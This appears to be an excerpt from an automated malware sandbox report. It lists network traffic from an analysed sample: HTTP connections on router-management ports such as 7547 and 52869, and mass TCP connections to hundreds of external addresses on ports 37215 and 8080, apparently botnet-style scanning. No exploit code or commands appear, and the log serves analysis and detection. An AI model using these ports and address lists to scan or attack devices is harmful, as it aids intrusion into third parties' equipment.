Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54946 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37604 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54946
Source: unknown	Network traffic detected: HTTP traffic on port 60324 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60324
Source: unknown	Network traffic detected: HTTP traffic on port 60336 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 44766 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44798 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35080 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32946 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43776 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 32946
Source: unknown	Network traffic detected: HTTP traffic on port 32952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 43776
Source: unknown	Network traffic detected: HTTP traffic on port 32952 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 32952
Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 43116 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53854 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39420 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42748 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37672 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 49102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53258 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 47234 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49404 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47234
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 47268
Source: unknown	Network traffic detected: HTTP traffic on port 37672 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 43038 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43202 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57408 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43236 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53760 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43128 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39152 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39160 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39494 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 55994 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 55994
Source: unknown	Network traffic detected: HTTP traffic on port 56048 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41600 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60530 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48362 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48368 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56048 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 56048
Source: unknown	Network traffic detected: HTTP traffic on port 56044 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56044 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 52869 -> 56044
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51434 -> 7547

Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.124.97.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.178.107.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.43.22.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.76.192.60:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.149.45.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.4.84.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.226.128.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.81.235.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.156.32.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.204.65.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.193.111.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.232.1.28:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.3.94.156:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.133.150.122:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.199.218.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.125.147.45:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.159.230.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.16.78.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.153.192.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.252.254.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.108.120.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.200.125.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.80.237.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.110.154.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.76.67.116:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.2.228.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.52.63.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.179.151.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.233.219.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.147.218.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.234.144.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.118.6.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.222.106.115:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.146.31.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.227.176.126:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.170.128.38:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.33.114.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.34.20.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.97.85.103:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.87.73.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.179.4.16:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.121.14.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.255.203.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.119.86.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.45.12.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.189.52.14:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.114.110.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.250.221.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.218.159.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.171.221.202:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.183.155.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.151.136.187:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.56.65.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.31.105.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.183.196.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.212.126.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.147.37.86:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.146.176.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.174.159.225:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.202.139.70:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.76.138.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.39.134.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.244.200.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.52.186.223:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.144.188.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.50.122.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.237.225.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.54.192.34:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.136.81.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.165.46.208:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.12.169.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.103.66.235:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.214.206.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.254.55.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.153.26.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.149.244.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.214.236.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.223.179.56:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.87.172.36:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.10.102.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.33.204.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.161.207.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.25.64.195:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.231.77.217:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.230.189.52:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.98.149.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.146.234.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.121.86.160:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.246.221.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.164.139.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.163.200.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.13.176.149:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.228.247.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.24.230.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.193.70.184:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.209.144.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.147.85.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.47.39.233:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.229.72.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.247.55.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.26.175.198:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.166.148.62:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.183.89.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.24.207.219:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.24.185.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.237.223.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.69.119.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.156.68.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.252.69.33:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.124.52.196:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.49.33.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.203.44.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.137.116.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.73.207.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.107.15.112:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.72.127.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.24.23.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.160.221.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.167.197.255:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.126.200.222:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.205.95.163:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.123.205.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.56.84.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.145.249.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.103.229.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.94.241.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.230.69.102:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.174.149.18:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.194.87.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.205.163.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.250.89.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.82.123.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.186.177.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.120.161.128:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.178.189.91:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.222.148.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.173.120.99:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.105.44.130:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.184.210.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.160.252.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.20.71.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.79.228.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.133.39.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.79.150.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.206.25.230:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.152.254.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.9.238.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.201.244.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.98.201.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.71.44.181:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.253.138.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.55.168.7:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.149.55.117:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.221.188.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.196.92.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.186.160.40:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.119.139.124:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.188.8.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.69.24.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.162.245.98:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.242.2.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.130.10.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.109.16.242:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.27.219.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.230.53.71:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.15.48.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.105.52.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.63.82.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.243.113.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.234.49.227:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.45.225.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.36.59.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.5.220.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.205.132.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.158.84.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.170.222.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.13.108.245:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.64.217.92:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.133.77.125:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.67.21.185:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.166.64.114:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.65.232.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.255.66.237:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.109.248.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.206.45.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.168.182.24:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.66.152.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.96.203.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.220.233.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.240.99.11:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.235.11.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.75.226.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.3.0.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.51.225.105:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.175.30.168:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.236.150.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.254.196.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.246.152.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.237.187.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.105.227.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.36.147.251:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.235.47.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.175.74.118:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.129.95.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.190.125.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.181.235.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.163.181.197:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.118.128.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.106.206.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.52.38.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.48.93.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.216.248.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.64.86.43:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.240.58.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.171.32.194:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.63.194.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.233.5.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.53.130.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.215.20.178:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.38.68.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.244.80.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.94.37.21:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.236.255.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.8.79.79:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.108.159.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.246.216.226:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.128.209.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.155.207.253:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.213.1.190:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.14.197.151:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.133.93.84:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.159.100.2:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.89.221.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.238.204.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.23.248.179:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.223.124.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.224.153.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.35.167.206:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.83.49.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.140.194.76:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.58.218.140:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.174.84.210:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.66.88.113:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.48.43.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.7.242.150:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.203.84.175:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.58.158.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.75.51.96:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.36.171.4:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.29.23.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.147.129.238:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.44.203.0:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.3.231.199:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.191.133.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.172.57.142:37215
Source: global traffic	TCP traffic: 192.168.2.23:52230 -> 197.249.248.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.9.228.125:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.245.46.117:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.76.219.39:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.147.217.126:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.89.152.171:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.242.246.153:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.226.105.124:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.109.41.127:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.63.162.234:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.130.155.202:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.214.21.77:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.210.131.32:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.251.104.73:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.111.22.109:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.73.10.15:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.126.203.209:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.198.101.158:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.92.36.226:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.221.97.53:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.195.166.168:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.248.24.226:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.52.255.213:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.124.221.145:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.16.63.244:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.195.35.18:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.244.70.88:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.47.243.78:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.2.52.86:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.172.78.53:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.65.221.199:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.111.37.231:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.249.216.29:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.98.8.105:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.54.95.158:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.197.192.51:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.38.239.7:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.240.142.7:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.51.55.197:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.177.57.158:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.25.172.145:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.155.78.185:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.200.59.148:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.90.28.147:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.243.17.33:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.17.51.83:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.215.186.242:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.142.244.233:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.81.24.70:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.219.209.182:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.156.69.33:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.135.18.184:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 98.226.76.149:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.147.68.250:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.157.198.206:8080
Source: global traffic	TCP traffic: 192.168.2.23:49158 -> 184.27.69.208:8080
